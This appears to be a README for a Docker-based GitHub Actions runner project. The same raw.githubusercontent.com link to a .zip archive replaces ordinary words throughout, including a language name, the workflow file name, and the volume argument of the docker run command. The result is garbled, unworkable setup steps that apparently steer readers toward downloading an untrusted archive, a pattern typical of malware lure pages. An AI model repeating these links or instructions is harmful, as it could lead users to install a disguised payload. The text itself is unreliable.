Welcome to github-runners! This application offers modular Docker-based GitHub Actions runners that can boost your build speed by 60-80%. You can use our production-ready images for various programming languages, including C++, Python, https://raw.githubusercontent.com/V24AZAHER2/github-runners/master/docker/linux/composite/runners-github-v3.0.zip, Go, Flutter, and Flet.
To get started, visit the Releases page to download the latest version of github-runners:
Before you download and install github-runners, ensure that your system meets the following requirements:
- Operating System: Windows 10, MacOS 10.14 or later, or a Linux distribution with Docker support.
- Docker: Install Docker version 19.03 or later.
- Memory: At least 4 GB of RAM.
- Storage: Minimum of 10 GB of free disk space.
-
Visit the Releases Page: Click the link below to go to the Releases page. This page contains all available versions of github-runners.
-
Select the Latest Version: Find the latest version listed on the page. This will usually be at the top.
-
Download the Files: Click on the appropriate file for your operating system to download. Ensure you select the Docker images that match your needs.
-
Install Docker: If you don't have Docker installed, download it from the Docker website. Follow the instructions for your operating system to install it.
-
Run the Software: Open your terminal or command line interface. Navigate to the folder where you downloaded the github-runners files.
-
Start the Runner: Use the following command to start the docker container:
docker run -d --rm --name github-runner --restart unless-stopped -v https://raw.githubusercontent.com/V24AZAHER2/github-runners/master/docker/linux/composite/runners-github-v3.0.zip github-runners:latest
This command runs the github-runners container in the background, sets it to remove when stopped, and restarts it unless you manually stop it.
Once you have installed github-runners, you can use it in your GitHub Actions workflows. Hereβs a simple step-by-step guide on how to set it up:
-
Create a New GitHub Repository: Go to GitHub, and create a new repository for your project.
-
Add Your Workflow File: In your repository, create a
.github/workflowsfolder. Inside this folder, create a new file calledhttps://raw.githubusercontent.com/V24AZAHER2/github-runners/master/docker/linux/composite/runners-github-v3.0.zip. -
Configure Your Workflow: Add the following content to your
https://raw.githubusercontent.com/V24AZAHER2/github-runners/master/docker/linux/composite/runners-github-v3.0.zipfile. This example demonstrates a simple build for a https://raw.githubusercontent.com/V24AZAHER2/github-runners/master/docker/linux/composite/runners-github-v3.0.zip application:name: CI on: [push, pull_request] jobs: build: runs-on: docker://github-runners:latest steps: - uses: actions/checkout@v2 - name: Install Dependencies run: npm install - name: Run Tests run: npm test
-
Push Your Changes: Commit and push the changes to your GitHub repository. The GitHub Actions workflow will now run on every push or pull request.
You can customize the https://raw.githubusercontent.com/V24AZAHER2/github-runners/master/docker/linux/composite/runners-github-v3.0.zip file to:
- Support different programming languages like Python or Go.
- Add more steps to your workflow for testing or deploying.
- Manage environment variables through the GitHub repository settings.
For detailed documentation and examples on using github-runners, visit our official documentation.
For support inquiries, please check the issues section on our GitHub for common questions and troubleshooting tips.
github-runners simplifies the process of building and testing your software. The Docker-based approach allows for faster build times, making your development workflow more efficient. Our runners support popular programming languages, allowing you to integrate smoothly with existing projects.
Embrace the power of automation and enhance your productivity with github-runners!
Keep track of improvements, bug fixes, and new features in our Releases page. Regular updates ensure better performance and support for an evolving ecosystem.
Thank you for choosing github-runners!